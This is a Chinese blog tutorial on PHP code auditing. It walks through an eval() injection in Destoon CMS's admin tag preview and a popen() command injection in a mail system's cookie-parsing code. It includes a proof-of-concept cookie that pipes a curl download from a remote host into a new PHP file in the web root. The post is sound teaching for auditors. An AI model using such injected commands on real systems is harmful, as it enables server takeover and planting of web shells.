影风博客

代码审计的艺术系列 第十三篇

2019-03-23

0x00 背景

代码和命令执行也是获取服务器权限的最直接有效的方法,这篇讲的就是代码审计中代码执行的安全问题。

0x01 危险函数

危险函数主要参考了Seay的代码审计那本书,有下面几个:

eval()
assert()
preg_replace()
call_user_func()
call_user_func_array()
array_map()

0x02 eval案例

之前审计过Destoon这款CMS,发现后台一处代码执行漏洞,漏洞位于admin/tag.inc.php

<?php
case 'preview':
    $db->halt = 0;
    $destoon_task = '';
    if($tag_css) $tag_css = stripslashes($tag_css); 
    if($tag_html_s) $tag_html_s = stripslashes($tag_html_s); 
    if($tag_html_e) $tag_html_e = stripslashes($tag_html_e); 
    if($tag_code) $tag_code = stripslashes($tag_code); 
    if($tag_js) $tag_js = stripslashes($tag_js); 
    $code_eval = $code_call = $code_html = '';
    if($tag_css) $code_eval .= '<style type="text/css">'."\n".''.$tag_css.''."\n".'</style>'."\n";
    if($tag_html_s) $code_eval .= $tag_html_s."\n";
    $code_call = $code_eval;
    $code_call .= $tag_code."\n";
    $tag_code = str_replace('<!--{', '', $tag_code);
    $tag_code = str_replace('}-->', '', $tag_code);
    if(strpos($tag_code, '",') !== false) {
        $tag_code = str_replace(', '.$tag_expires.')', ', -1)', $tag_code);
    } else {
        $tag_code = str_replace('")', '", -1)', $tag_code);
    }
    $tag_code .= ';';
    ob_start();
    eval($tag_code);//eval直接执行1
    $contents = ob_get_contents();
    ob_clean();
    $code_eval .= $contents."\n";
    if($tag_html_e) {
        $code_eval .= $tag_html_e;
        $code_call .= $tag_html_e;
    }
    $t = str_replace('",', '&debug=1",', $tag_code);
    ob_start();
    eval($t);//eval直接执行2
    $td = ob_get_contents();
    ob_clean();
?>

可以很直观看到$tag_code未经过危险字符的过滤就直接被eval执行了两次。

直接赋值给tag_code=phpinfo()可以查看下当前网站的基本信息,我们可以结合echo命令来进一步达到命令执行的效果如下:

0x03 popen案例

漏洞详情:

某知名邮件系统就被审计出几处命令执行漏洞,其中popen函数引发的漏洞位于文件/user/autoComplete.php

$arr = explode("&",$_COOKIE["USER"]);
//--验证cookie。
for($i=0;$i<count($arr);$i++)
{
    if(ereg("^SKIN=(.*)$",$arr[$i],$reg))
    {
        $skin = trim($reg[1]);
    }
    if(ereg("^UID=(.*)$",$arr[$i],$reg))
    {
        $uid  = trim($reg[1]);
    }
    if(ereg("^DOMAIN=(.*)$",$arr[$i],$reg))
    {
        $domain  = trim($reg[1]);
    }
    if(ereg("^TOKEN=(.*)$",$arr[$i],$reg))
    {
        $token  = trim($reg[1]);
    }
}
$part = $_GET['s'];
//$uid = "support";
//$domain = "xx.com";
$users = readAddress($uid, $domain);

直接从cookie中获取USER里的uiddomain并赋给了readAddress函数,然后我们跟进readAddress($uid, $domain);

function readAddress($uid,$domain){
    $binary = array();
    $userDir = getUserDir($uid,$domain);
    $addressDir = trim($userDir, "\n\r ")."/Profile/alias.individual";
    if(!is_file($addressDir)) return false;
    $fp = fopen($addressDir, "r");
    if(!$fp){ 
                echo "打开地址薄失败";
                exit;
        }
    while(false != ($content = fgets($fp, 568))){

        $binary[]=unpack("a20nick_name/a40email/a40name/a60h_street_address/a30h_city/a30h_province/a8h_zip/a20h_country/a16h_phone/a30c_company/a60c_street_address/a30c_city/a30c_province/a8c_zip/a20c_country/a16c_phone/a16pager/a16cellular/a16fax/a20icq/a30other/a5b_year/a3b_month/a3b_day",$content);
    }
    //var_dump($binary);
    return $binary;
}

uiddomain又进入了函数getUserDir($uid,$domain),我们继续跟进getUserDir

function getUserDir($uid, $domain) {
    $handle = popen("/var/xxx/sbin/hashid $uid $domain", 'r');
    $read = fread($handle, 2096);
    pclose($handle);
    return $read;
}

我们注意到下面的代码

$handle = popen("/var/*/sbin/hashid $uid $domain", 'r');

这里的/var/*/sbin/hashid是该邮件系统执行命令的,所以这里uiddomain均未进行过滤就直接执行了命令,导致任意命令执行漏洞。

漏洞证明:

访问

http://localhost/user/autoComplete.php

时设置cookie为:

UID=1|curl http://.../test.txt>>testinfo.php

此时会在程序的user目录下生成testinfo.php,我们再次访问

http://localhost/user/testinfo.php

即可证明popen执行curl命令写入成功:

使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章